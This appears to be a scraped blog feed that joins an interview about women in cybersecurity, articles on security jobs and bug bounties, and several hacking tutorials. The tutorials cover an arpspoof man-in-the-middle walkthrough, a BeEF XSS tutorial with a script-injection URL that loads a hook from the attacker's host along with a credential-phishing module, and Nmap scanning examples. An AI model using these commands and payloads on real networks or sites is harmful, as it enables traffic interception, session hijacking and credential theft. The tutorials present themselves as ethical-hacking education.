Thus, putting myself in a situation where I had to argue about money while my self-worth was unclear, even diminished, to myself, was a true block growing up and moving forward in my career. A day in Rayna’s life I am the VP for Governance and Public Affairs at YesWeHack, directly reporting to the CEO. The position is unambiguously strategic and was created for me. It is a recognition of two ideas. The first is that YesWeHack has reached maturity in its ambitions so that so the company makes enough room for someone to work fulltime on research and public affairs. This is no small deed for a European startup. What makes it possible is that YesWeHack sticks to its European values of integrity, collaboration, and ethics.

The second idea is that my skillset is recognized as an enabler. We are aligned in terms of values, ambitions—and of means. I am opinionated, which may not always be easy to handle. 😊 In creating my position, I see the immense trust my colleagues invest me with. There is also a very gender-neutral aspect here, everyone is respected and recognized for what they do, effortlessly, and fluidly. So far, we walk the talk, which is why, I guess, we have a near-strict parity within YesWeHack! As for a typical day…There is no such thing 😊 What fascinates you about IT security? Information security transcends every human activity since said activity has a digital existence on its own. So, how security and privacy (a partially overlapping but not entirely substitutable domain of activity) impact our lives and societies is what most fascinates me.

Why aren’t there more women in the tech industry? There are many reasons for this, although I believe there are more than we think. In other words, there are women stuck below the glass ceiling of a too self-centered manager, or unwilling to be more involved since they value their ‘me-time’ more, feeling insecure about their expertise, etc. If we look at more global proportions, there are a lot of other obstacles: leaky pipeline due to family pressure, salary negotiation issues, a harassment-prone workplace, etc. Furthermore, there are still a lot of clichés associated with this field, from its allegedly awfully difficult-to-acquire skillset to toxic “ol’ boys’ club” culture. We need to do better informing the wider public about why technology should matter to them to the point where they decide they want to impact its development by working in the field.

Thus, in my humble opinion, when addressing a minority problem through the only angle of gender, we also single out women. What can politics/society do to change that? I don’t have THE solution, otherwise, things would be different now. Yet, I can see what does not work. We have seen different initiatives come and go through the years, and they have not born great results. Overall, we need to stop tokenizing people. We all think with our heads, not with our genitals, so why should we frame and articulate an employment pipeline problem essentially through the gender prism? We do have a diversity problem in STEM; gender is one of the issues, but not necessarily the main one. I started feeling diminished because of my gender when I set foot in Western Europe.

Indeed, in Eastern Europe, the way I was treated was through the lenses of my capabilities: how well I understand something, how well I can structure an argument, an experiment, etc. I had never expected to be seen as a lesser human because I was born with ovaries. Thus, in my humble opinion, when addressing a minority problem through the only angle of gender, we also single out women. What we do is say “look, we need to hire more women because they need help, they need saving from their biological condition”. This is not true. We need equal pay, comparable durations of parental leaves, comparable career opportunities, etc. we need to be treated like regular human beings, not included in quotas.

Those are a sort of positive discrimination and can be toxic. Am I hired because of my expertise or because I am a woman and the company needed to increase female presence? Telling women that they don’t need advanced knowledge or expertise the same way men do is not acceptable neither: we should not promote lower quality professional requirements just to get a given gender on board. What advice (and tips) would you give to women who want a tech career? Do your job with transparency and modesty, and hold your ground.

Ideas matter, introducing positive and constructive change matters. So, be faithful to yourself and strive to learn evermore. If you had three wishes to make the world a better/fairer place for women, what would they be? Equal pay; less gendering, more mentoring. How would our world be different if more women working in STEM? We do need diversity because it enables us to learn better, to get an always evolving and more complete view of the world and of the people around us. Inclusivity, equal opportunities, and equal pay are what make a thriving, innovative, and viable work environment. We need talents to grow as a society, too; so why not embrace all the talents our society has to offer? More Women in Tech: For even more Women in Tech, click here

Job alert! Demand for cybersecurity professionals doubles in two months; these are the top skills needed

Cybersecurity is one of the few areas where hiring has more than doubled, even though many other sectors have seen a freeze on recruitment because of the COVID-19 disruption. According to industry experts, the demand for cybersecurity specialists has more than doubled in the last couple of months. "Earlier, if there were 100 jobs per month, 10 would be for cybersecurity. Now 20 jobs are for such professionals," Sunil C, head of specialized staffing, TeamLease Digital, said. This demand, he said, would continue to go up in the near future. The increased demand has come on the back of a rise in remote working, which in turn has resulted in rising cyberattacks. Experts Moneycontrol spoke to said there has been 6X increase in cyberattacks targeting Indian firms.

However, there is a huge talent crunch in this space with a large number of firms fighting for a limited talent pool. That is why hiring experts pointed out, this is one of the few spaces that could guarantee jobs. With the risk of cyberattacks increasing, it is not only the IT firms, but various industries are also looking for security professionals. How do you become a cybersecurity professional? Jobs in cybersecurity could be broadly classified into four, said Anand Narayanan, Chief Product Officer, Simplilearn, an e-learning platform. These include an auditor, manager, architect, ethical hackers, and chief information security officer. Systems auditor The primary role of a systems auditor includes maintaining systems such as firewalls, routers, switches and virtual private networks. They should also be able to identify vulnerabilities.

Narayanan pointed out that the demand for auditors increased 120 percent in the last four months, since COVID-19. Currently, there are about 13,000 openings for this role, according to job search portals. What is the qualification needed? To become a systems auditor, one needs to be a Certified Information Systems Auditor (CISA), certified by ISACA, an international professional association focused on IT governance. Completing CISA could cost between Rs 30,000 to Rs 40,000. Payscale: Certified professionals can earn anywhere from Rs 4 lakh per annum to Rs 8 lakh per annum, Narayanan said. Cybersecurity manager Managers oversee the information security of organizations.

They are also involved in designing and developing security practices and policies for the company. What is the qualification needed? One needs to be a Certificated Information Security Manager (CISM) certified by ISACA. Candidates will have to spend Rs 30,000 to Rs 40,000 to earn the certificate. Payscale: A certified professional’s remuneration starts at Rs 12 lakh per annum and increases as you accumulate more experience. Security architect Architects are those who set up the security architecture for a company, without whom the company would be vulnerable to attacks, pointed out Narayanan.

These professionals design and implement the infrastructure for the company. Though the role of managers and architects are similar, the former's role is purely management focused. An architect needs to have both managerial and technical skills to design, engineer, implement and manage information security systems. There are close to 18,000 openings for this role, according to job search portals. What is the qualification needed? One should be a Certified Information Systems Security Professional (CISSP) provided by International Information System Security Certification Consortium, also known as (ISC)².

Candidates will have to spend close to Rs 50,000 to earn the certificate. Payscale: According to Simplilearn, the average pay of a security architect begins at Rs 17 lakh per annum. Ethical hackers are almost synonymous with cybersecurity. These professionals are the ones who assess the security by finding and exploiting vulnerabilities of various systems just like a malicious hacker. However, they do it legally and ethically. In the last few months, demand for hackers from large organizations to assess their vulnerability increased and they have been paid handsomely in return. What is the qualification needed? One needs to obtain a Certified Ethical Hacker qualification under EC Council to be employed. Payscale: Average pay scale for an ethical hacker is about Rs 5 lakh per annum. However, with experience, they can earn up to Rs 15 lakh per annum.

Chief Information Security Officer This is a senior executive role within an organization, who is responsible for establishing and maintaining the enterprise's security strategy to ensure that information assets and technologies are adequately protected. CISO typically will work auditors, manager and architects to design, develop and implement security architecture so that the company is not vulnerable to cyberattacks. What is the qualification needed? Narayanan said that a CISO should have knowledge of systems auditor, security manager and architect to understand and implement a robust security network. Pay scale: According to various reports, salary could range anywhere between Rs 30 lakh per annum and Rs 4 crore.

US$ 100m paid in bug bounties to white-hat hackers

Ethical hackers on the HackerOne platform are reported to have earned a cumulative US$100 million (£82 million) finding and reporting vulnerabilities through bug bounty programs for customers including UBER, Slack and Goldman Sachs. The payments are clearly accelerating, with US$ 40 million (£33 million) paid in 2019 alone. More than 140 hackers working via HackerOne have earned over US$100,000 (£82,000) with 50 exceeding that sum this year. Some 84 hackers join the platform every hour, now reporting an average of 24 vulnerabilities in the same time frame - with 170,000 vulnerabilities uncovered to date. Hacker One reports that it has gone from paying US$30,000 (£25,000) in its first month, October 2013, to US$ 5.9 million (£4.8 million) in April 2020. “We started out as a couple hackers in the Netherlands with a crazy belief that hackers like us could make organizations safer and do it more efficiently and cost-effectively than traditional approaches,” explained HackerOne co-founders Jobert Abma and Michiel Prins in their blog post about the milestone. “US$100 million (£82 million) in bounties later, maybe this idea isn’t so crazy after all.” Highlights since launch include 84: The number of new hackers that sign up to the platform every hour US$ 6,000 (£4,900):

The number of bounties paid out on the platform every hour 214 percent: Year-over-year hacker-powered security growth in the federal government 85.6 percent: The year over year growth in total bounty payments, with 17.5 percent increase since February when Covid-19 was declared a pandemic. 343 percent: The increase in signups over the past year on Hacker101 — HackerOne’s free online classes for aspiring hackers. 38 percent: The increase in average weekly new registrants for Hacker101 since February. Over 170,000: The number of vulnerabilities hackers have uncovered in nearly 2,000 customer programs Marten Mickos, CEO HackerOne comments: “We have arrived at the point in history where you are ignorant and negligent if you do not have a way to receive useful input from ethical hackers. In this new world of ever-evolving threats, the only way to get ahead is to get transparent. Openness, not secrecy, is the way forward.” Mickos’ predictions for the future: Within the next 15 years, we expect to have produced over 500 Chief Information Security Officers (CISOs) out of our hacker ranks. These skilled and motivated people will help reduce cyber risk in key commercial enterprises and government agencies.

Hackers will earn US$ 1 billion (£820 million) in bug bounties within five years on HackerOne. Many of these ethical hackers have daytime jobs, but there are increasing numbers pursuing bug hunting as a career and globally they earn up to 36 percent more than they would as a software engineer in their home country.

How to perform a Man-in-the-middle (MITM) attack with Kali Linux

2020-07-18T09:06:00.002-07:00

The Art of Sniffing

Before we embark on a MitM attack, we need to address a few concepts. First, sniffing is the act of grabbing all of the traffic that passes you over the wired or wireless communication. There are a number of tools that will enable you to do this. Most famously, Wireshark, but also tcpdump, dsniff, and a handful of others.

Switches & Spoofing

Switches are designed to reduce network traffic and congestion by isolating traffic and only sending packets to a particular IP address or MAC address that's the destination, unlike hubs that send all traffic to all NICs. This means that my NIC only sees traffic intended for it, if the switch is doing its job. This makes it harder, but not impossible to sniff and thereby conduct a MiTM attack.

step-1 Open Three Terminals

To conduct this MitM attack, we're going to need three (3) terminals, so go ahead and open those now. Our goal here is to get a client on our network to believe we are the server and the server to believe we are the client.

arpspoof can do this for us by replacing the MAC address of the client and the server with our MAC address in the ARP table.

step-2 Arpspoof Client to Server

Let's start with the client. We want to replace the MAC address of the server with our MAC address.

arpspoof 192.168.1.101 192.168.1.105

Where:

192.168.1.101 is the IP of the client
192.168.1.105 is the IP of the server

In this step, we're telling the client that we are the server.

step-3Arpspoof Server to Client

Now we want to replace the MAC address of the client with our address, so we simply reverse the order of the IP addresses in the previous command.

arpspoof 192.168.1.105 192.168.1.101

Here, we are telling the server that we are the client.

Now execute both of these commands. When we do this, the client will think we are the server and the server will think we are the client!

step-4Pass Packets with Ipforward

Now that we are impersonating both the client and server, we need to be able to pass or forward the packets to the other machine. In other words, we want the packets coming from the server to be forwarded to the client and those coming from the client forwarded to the server.

We do this in Linux by using the ip_forward. Linux has a built-in functionality to forward packets it receives. By default, it's turned off, but we can turn it on by changing its value to 1(ON).

We simply echo a 1 and direct (>) it to /proc/sys/net/ipv4/ip_forward, thereby turning on ipforwarding.

echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=1

Commands

arpspoof -i[Network Interface] -t [victim ip] [Router Ip]

Interchange :

arpspoof -i[Network interface] -t [Router ip] [victim ip]

Sniff image from victim

driftnet -I [Network InterfaceName]

Sniff URL's Information from victim navigation

urlsniff -I [Network interface name ]

XSS Attack: Hacking Using BeeF XSS Framework | Ethical Hacking Tutorials

2020-07-17T08:40:00.004-07:00

Still in the XSS Attack series, now we will continue from the last tutorial about finding simple XSS vulnerability to Hacking Using BeeF XSS Framework.

Today tutorial will be more focus on enumeration, but if you explore by yourselves you will get more than just data enumeration :-).

I hope you can learn by yourselves after read this tutorial. It happen the same in real life, do not expect to mastering this if you just learn about everything inside the school behind the table, you need to dig yourselves, try, try and try and put your comfort zone far away from you. Let start the tutorial 🙂

Step by step Hacking Using Beef XSS Framework

1. Before we start, here is the details information I use in this tutorial.

Attacker:

OS: Backtrack 5

IP: 192.168.160.236

Already have XSS vulnerable website as a mediator

Victim:

OS: Windows 7 Ultimate

IP: 192.168.160.104

2. We will start the BeeF XSS framework first:

if you get an error, maybe you haven't installed the beef xss framework.

3. After you run beef in the step two, a window will popped out and tell you the username and password to log in to beef admin panel. By default the username: beef and password: beef. The beef control panel should be:

http://your_ip_or_hostname:3000/ui/panel

4. This is the default display when you successfully log in to the beef xss framework control panel

5. Now let's see the information command window, inside there you can see some information on how to operate the beef framework, especially how to spread the malicious javascript.

From the picture above, we must inject the hook URL address to the XSS vulnerable website.

6. Because I already have the XSS vulnerable website from the last tutorial about finding simple xss vulnerability so I just use one of it. The next step I also already prepare the code to inject in the search box

so it will look like this:

The next step attacker will copy the URL together with malicious script inside it and send it to victim. This is the URL looks like:

http://www.xss_vulnerable_website/search.asp?keyword=<script type=text/javascript src=http://192.168.160.236:3000/hook.js></script>&x=0&y=0

7. When victim click the link sent by attacker, the attacker command line window will show an activity.

the picture above means that victim with IP 192.168.160.104 already click the malicious link with mediator xxx.com.

8. When we move to the Beef xss framework control panel, the control panel record some activity there.

9. Many information also available there including session cookie, system information, etc.

hope you found it useful 🙂

Conclusion:

1. XSS can directly attack the user that visit a website.

2. Do not click a link that you don't know.

We will still continue the XSS attack series tutorial in the next post, keep updated. If you find this post useful, spread it! 🙂

After Successful Attacks Execute Below The Commands Beef tool.

Alert - This Command Alert Victim you have been hacked
Raw- Raw javascript This Command Executed Victim affected your javascript code.
Spyder eye - This Command Using for taking Screenshot Victim Browser.
Redirect - This command Executed user redirected your own URL.
Pretty Theft- Pop Phishing Page got some credential information from victim Side
Fake Notification Bar - This command Shown fake notification bar to the victim.

Top 20 Basic Kali Linux Commands

2020-07-16T00:35:00.000-07:00

Top 20 Basic Kali Linux Commands

Kali Linux is an open-source operating system developed by Offensive Security. It contains a bunch of security tools divided by categories for Penetration Testing or Ethical Hacking in a practical environment to test the reliability and security of the systems in unusual situations.

1. Date Command –

This command is generally used to display the system date and time. You can also set a custom date by typing the below command in your terminal.

Syntax – “date –set=’2

2. Cal Command –

The cal command simply displays a formatted calendar of the current month in your terminal screen. If in case, you need an advanced version of cal, then you can also download local package in your Linux machine which displays the calendar vertically along with more options.

3. whoami Command –

The whoami command simply prints the effective user ID whereas who command prints the information about users who are currently logged in.

You can also use the “w” command to see who is logged on and what they are doing.

4. pwd Command –

PWD stands for “Print Working Directory” which simply prints the name of the working directory or you can directly use the below command to use pwd.

Syntax – “/bin/PWD”

5. ls Command –

This command is one of the most useful command in Kali Linux that lists directory contents of files and directories. With ls command, you can easily list out all hidden files of a directory with -an attribute and for more detailed output you can use -l attribute.

Syntax: ls -al

6. cd Command –

The cd command also known as chdir (Change Directory) is a command used to change/switch the current working directory.

7. mkdir Command –

The command used for creating directories is mkdir. For example, if you want to create a directory under Desktop called yeahhub, open a terminal and type the following command:

Command: mkdir /root/Desktop/yeahhub

8. cat Command –

The cat (concatenate) the command is one of the most frequently used command in Kali Linux which allows us to create single or multiple files, view contain the file, concatenate files and redirect output in terminal or files.

Generally, the cat the command is used for displaying the contents of a file.

9. cp Command –

This command is used to copy files or group of files or directory which creates an exact image of a file on a disk with a different file name.

10. mv Command –

The mv command moves, or renames, files and directories on your file system.

11. rm Command –

The rm (remove) command is used to delete files. When used recursively, it may be used to delete directories.

The removal process unlinks a file name in a file system from its associated data, and marks that space on the storage device as usable by future writes. In other words, when you remove a file, the data in the file isn’t changed, but it’s no longer associated with a filename.

12. uname Command –

This command prints information about the current system. The uname command within Linux allows you to view system information about your Linux environment.

With uname -a command, which gives you more information about the system like Kernel Name, Node Name, Kernel Release, Kernel Version, Machine, Processor, Hardware Platform and Operating system.

13. uptime Command –

The uptime command gives you the time for which the system has been up (or running). Uptime’s basic usage is very easy – just write the command’s name and press enter.

In case you just want to know the time for which the system has been up, and that too in a more human-readable format, use the -p command line option.

14. users Command –

This command display login names of users currently logged in on the system.

15. less Command –

less command is used to view files instead of opening the file. The less command is considered to be a more powerful version of the “more” command which is used to display information to the terminal one page at a time.

You can view any text file using the less command simply by typing the following into a terminal window:

Command: less /etc/passwd

16. more Command –

The more command allows you to display output in the terminal one page at a time. This is especially useful when running a command which causes a lot of scrolling such as the ls command or the du command.

The more command works with any application that outputs to the screen. A good way of testing this is to type the following into a terminal window:

Command: more /etc/passwd

17. sort Command –

The sort command sorts the contents of a text file, line by line. The sort is a standard command-line a program that print the lines of its input or concatenation of all files listed in its argument list in sorted order.

With -r switch, you can sort the contents of any file in reverse order.

18. vi Command –

The vi editor is a screen editor that is available on almost all UNIX systems. In general, vi has two modes: the command mode and the insert mode.

To begin entering text in an empty file, you must first change from the command mode to the insert mode. To do this, type the letter i. When you start typing, anything you type will be entered into the file.

Type a few short lines and hit Return at the end of each line. Unlike word processors, vi does not use word wrap. It will break a line at the edge of the screen. If you make a mistake, you can use the Backspace key to remove your errors. If the Backspace key doesn’t work properly on your system, try using the Ctrl h key combination.

19. free Command –

free is a command which can give us valuable information on available RAM in the Linux machine. It also gives information about the total used and available space of physical memory and swap memory with buffers used by the kernel.

Free command with -t option, will list the total line at the end.

20. history Command –

One of the extensively used command in Kali Linux is history command. The bash shell stores a history of commands entered, which can be used to repeat commands by using the history command.

In a simple manner, you can run the history command by itself and will simply print out the bash history of the current user to the screen as shown below:

Practical Examples of Nmap Commands for Linux System/Network Administrators

2020-07-15T04:44:00.003-07:00

The Nmap aka Network Mapper is an open source and a very versatile tool for Linux system/network administrators. Nmap is used for exploring networks, perform security scans, network audit and finding open ports on remote machine. It scans for Live hosts, Operating systems, packet filters and open ports running on remote hosts.

Nmap Commands and Examples

I’ll be covering most of NMAP usage in two different parts and this is the first part of nmap serious. Here in this setup, I have used two servers without firewall to test the working of the Nmap command.

192.168.0.100 – server1.tecmint.com
192.168.0.101 – server2.tecmint.com

Nmap command usage

# nmap [Scan Type(s)] [Options] {target specification}

How to Install NMAP in Linux

Most of the today’s Linux distributions like Red Hat, CentOS, Fedoro, Debian and Ubuntu have included Nmap in their default package management repositories called Yum and APT. The both tools are used to install and manage software packages and updates. To install Nmap on distribution specific use the following command.

# yum install nmap  [on Red Hat based systems]

$ sudo apt-get install nmap [on Debian based systems]

Once you’ve install latest nmap application, you can follow the example instructions provided in this article.

1. Scan a System with Hostname and IP Address

The Nmap tool offers various methods to scan a system. In this example, I am performing a scan using hostname as server2.tecmint.com to find out all open ports, services and MAC address on the system.

Scan using Hostname

[root@server1 ~]# nmap server2.tecmint.com

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 15:42 EST
Interesting ports on server2.tecmint.com (192.168.0.101):
Not shown: 1674 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
957/tcp  open  unknown
3306/tcp open  mysql
8888/tcp open  sun-answerbook
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)

Nmap finished: 1 IP address (1 host up) scanned in 0.415 seconds
You have new mail in /var/spool/mail/root

Scan using IP Address

[root@server1 ~]# nmap 192.168.0.101

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-18 11:04 EST
Interesting ports on server2.tecmint.com (192.168.0.101):
Not shown: 1674 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
958/tcp  open  unknown
3306/tcp open  mysql
8888/tcp open  sun-answerbook
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)

Nmap finished: 1 IP address (1 host up) scanned in 0.465 seconds
You have new mail in /var/spool/mail/root

2. Scan using “-v” option

You can see that the below command with “-v” option is giving more detailed information about the remote machine.

[root@server1 ~]# nmap -v server2.tecmint.com

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 15:43 EST
Initiating ARP Ping Scan against 192.168.0.101 [1 port] at 15:43
The ARP Ping Scan took 0.01s to scan 1 total hosts.
Initiating SYN Stealth Scan against server2.tecmint.com (192.168.0.101) [1680 ports] at 15:43
Discovered open port 22/tcp on 192.168.0.101
Discovered open port 80/tcp on 192.168.0.101
Discovered open port 8888/tcp on 192.168.0.101
Discovered open port 111/tcp on 192.168.0.101
Discovered open port 3306/tcp on 192.168.0.101
Discovered open port 957/tcp on 192.168.0.101
The SYN Stealth Scan took 0.30s to scan 1680 total ports.
Host server2.tecmint.com (192.168.0.101) appears to be up ... good.
Interesting ports on server2.tecmint.com (192.168.0.101):
Not shown: 1674 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
957/tcp  open  unknown
3306/tcp open  mysql
8888/tcp open  sun-answerbook
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)

Nmap finished: 1 IP address (1 host up) scanned in 0.485 seconds
               Raw packets sent: 1681 (73.962KB) | Rcvd: 1681 (77.322KB)

Scan Multiple Hosts

You can scan multiple hosts by simply writing their IP addresses or hostnames with Nmap.

[root@server1 ~]# nmap 192.168.0.101 192.168.0.102 192.168.0.103

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:06 EST
Interesting ports on server2.tecmint.com (192.168.0.101):
Not shown: 1674 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
957/tcp  open  unknown
3306/tcp open  mysql
8888/tcp open  sun-answerbook
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
Nmap finished: 3 IP addresses (1 host up) scanned in 0.580 seconds

4. Scan a whole Subnet

You can scan a whole subnet or IP range with Nmap by providing * wildcard with it.

[root@server1 ~]# nmap 192.168.0.*

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:11 EST
Interesting ports on server1.tecmint.com (192.168.0.100):
Not shown: 1677 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
111/tcp open  rpcbind
851/tcp open  unknown

Interesting ports on server2.tecmint.com (192.168.0.101):
Not shown: 1674 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
957/tcp  open  unknown
3306/tcp open  mysql
8888/tcp open  sun-answerbook
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)

Nmap finished: 256 IP addresses (2 hosts up) scanned in 5.550 seconds
You have new mail in /var/spool/mail/root

On above output you can see that nmap scanned a whole subnet and gave the information about those hosts which are Up in the Network.

5. Scan Multiple Servers using last octet of IP address

You can perform scans on multiple IP address by simple specifying last octet of IP address. For example, here I performing a scan on IP addresses 192.168.0.101, 192.168.0.102 and 192.168.0.103.

[root@server1 ~]# nmap 192.168.0.101,102,103

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:09 EST
Interesting ports on server2.tecmint.com (192.168.0.101):
Not shown: 1674 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
957/tcp  open  unknown
3306/tcp open  mysql
8888/tcp open  sun-answerbook
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)

Nmap finished: 3 IP addresses (1 host up) scanned in 0.552 seconds
You have new mail in /var/spool/mail/root

6. Scan list of Hosts from a File

If you have more hosts to scan and all host details are written in a file , you can directly ask nmap to read that file and perform scans. Let’s see how to do that.

Create a text file called “nmaptest.txt” and define all the IP addresses or hostname of the server that you want to do a scan.

[root@server1 ~]# cat > nmaptest.txt

localhost
server2.tecmint.com
192.168.0.101

Next, run the following command with “iL” option with nmap command to scan all listed IP address in the file.

[root@server1 ~]# nmap -iL nmaptest.txt

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-18 10:58 EST
Interesting ports on localhost.localdomain (127.0.0.1):
Not shown: 1675 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
111/tcp open  rpcbind
631/tcp open  ipp
857/tcp open  unknown

Interesting ports on server2.tecmint.com (192.168.0.101):
Not shown: 1674 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
958/tcp  open  unknown
3306/tcp open  mysql
8888/tcp open  sun-answerbook
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)

Interesting ports on server2.tecmint.com (192.168.0.101):
Not shown: 1674 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
958/tcp  open  unknown
3306/tcp open  mysql
8888/tcp open  sun-answerbook
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)

Nmap finished: 3 IP addresses (3 hosts up) scanned in 2.047 seconds

7. Scan an IP Address Range

You can specify an IP range while performing scan with Nmap.

[root@server1 ~]# nmap 192.168.0.101-110

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:09 EST
Interesting ports on server2.tecmint.com (192.168.0.101):
Not shown: 1674 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
957/tcp  open  unknown
3306/tcp open  mysql
8888/tcp open  sun-answerbook
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)

Nmap finished: 10 IP addresses (1 host up) scanned in 0.542 seconds

8. Scan Network Excluding Remote Hosts

You can exclude some hosts while performing a full network scan or when you are scanning with wildcards with “–exclude” option.

[root@server1 ~]# nmap 192.168.0.* --exclude 192.168.0.100

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:16 EST
Interesting ports on server2.tecmint.com (192.168.0.101):
Not shown: 1674 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
957/tcp  open  unknown
3306/tcp open  mysql
8888/tcp open  sun-answerbook
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)

Nmap finished: 255 IP addresses (1 host up) scanned in 5.313 seconds
You have new mail in /var/spool/mail/root

9. Scan OS information and Traceroute

With Nmap, you can detect which OS and version is running on the remote host. To enable OS & version detection, script scanning and traceroute, we can use “-A” option with NMAP.

[root@server1 ~]# nmap -A 192.168.0.101

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:25 EST
Interesting ports on server2.tecmint.com (192.168.0.101):
Not shown: 1674 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 4.3 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.2.3 ((CentOS))
111/tcp  open  rpcbind  2 (rpc #100000)
957/tcp  open  status   1 (rpc #100024)
3306/tcp open  mysql   MySQL (unauthorized)
8888/tcp open  http    lighttpd 1.4.32
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
No exact OS matches for host (If you know what OS is running on it, see http://www.insecure.org/cgi-bin/nmap-submit.cgi).
TCP/IP fingerprint:
SInfo(V=4.11%P=i686-redhat-linux-gnu%D=11/11%Tm=52814B66%O=22%C=1%M=080027)
TSeq(Class=TR%IPID=Z%TS=1000HZ)
T1(Resp=Y%DF=Y%W=16A0%ACK=S++%Flags=AS%Ops=MNNTNW)
T2(Resp=N)
T3(Resp=Y%DF=Y%W=16A0%ACK=S++%Flags=AS%Ops=MNNTNW)
T4(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)
T5(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
T6(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)
T7(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
PU(Resp=Y%DF=N%TOS=C0%IPLEN=164%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)

Uptime 0.169 days (since Mon Nov 11 12:22:15 2013)

Nmap finished: 1 IP address (1 host up) scanned in 22.271 seconds
You have new mail in /var/spool/mail/root

In above Output, you can see that nmap is came up with TCP/IP fingerprint of the OS running on remote hosts and being more specific about the port and services running on the remote hosts.

10. Enable OS Detection with Nmap

Use the option “-O” and “-osscan-guess” also helps to discover OS information.

[root@server1 ~]# nmap -O server2.tecmint.com

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 17:40 EST
Interesting ports on server2.tecmint.com (192.168.0.101):
Not shown: 1674 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
957/tcp  open  unknown
3306/tcp open  mysql
8888/tcp open  sun-answerbook
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
No exact OS matches for host (If you know what OS is running on it, see http://www.insecure.org/cgi-bin/nmap-submit.cgi).
TCP/IP fingerprint:
SInfo(V=4.11%P=i686-redhat-linux-gnu%D=11/11%Tm=52815CF4%O=22%C=1%M=080027)
TSeq(Class=TR%IPID=Z%TS=1000HZ)
T1(Resp=Y%DF=Y%W=16A0%ACK=S++%Flags=AS%Ops=MNNTNW)
T2(Resp=N)
T3(Resp=Y%DF=Y%W=16A0%ACK=S++%Flags=AS%Ops=MNNTNW)
T4(Resp=Y%DF=Y%W=0%ACK=O%Flags=Option -O and -osscan-guess also helps to discover OS
R%Ops=)
T5(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
T6(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)
T7(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
PU(Resp=Y%DF=N%TOS=C0%IPLEN=164%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)

Uptime 0.221 days (since Mon Nov 11 12:22:16 2013)

Nmap finished: 1 IP address (1 host up) scanned in 11.064 seconds
You have new mail in /var/spool/mail/root

11. Scan a Host to Detect Firewall

The below command will perform a scan on a remote host to detect if any packet filters or Firewall is used by host.

[root@server1 ~]# nmap -sA 192.168.0.101

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:27 EST
All 1680 scanned ports on server2.tecmint.com (192.168.0.101) are UNfiltered
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)

Nmap finished: 1 IP address (1 host up) scanned in 0.382 seconds
You have new mail in /var/spool/mail/root

12. Scan a Host to check its protected by Firewall

To scan a host if it is protected by any packet filtering software or Firewalls.

[root@server1 ~]# nmap -PN 192.168.0.101

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:30 EST
Interesting ports on server2.tecmint.com (192.168.0.101):
Not shown: 1674 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
957/tcp  open  unknown
3306/tcp open  mysql
8888/tcp open  sun-answerbook
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)

